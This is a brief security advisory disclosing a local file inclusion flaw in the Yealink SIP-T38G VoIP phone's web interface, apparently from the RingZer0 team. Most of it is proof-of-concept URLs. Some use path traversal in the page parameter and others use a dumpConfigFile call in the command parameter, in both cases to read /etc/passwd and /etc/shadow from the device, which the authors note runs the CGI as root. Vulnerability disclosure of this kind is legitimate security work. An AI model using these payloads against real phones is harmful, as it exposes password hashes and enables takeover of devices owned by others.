Yealink VoIP Phone SIP-T38G Local File Inclusion

`Title: Yealink VoIP Phone SIP-T38G Local File Inclusion  
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team  
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx  
Version: VoIP Phone SIP-T38G  
CVE: CVE-2013-5756, CVE-2013-5757  
  
Description:  
  
Web interface contain a vulnerability that allow any page to be included.  
We are able to disclose /etc/passwd & /etc/shadow  
  
POC:  
Using the page parameter (CVE-2013-5756):  
http://  
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  
http://  
[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow  
  
Using the command parameter (CVE-2013-5757):  
http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow")  
  
*By viewing the shadow file we are able to conclude that cgiServer.exx run  
under the root privileges. This lead to CVE-2013-5759.  
  
`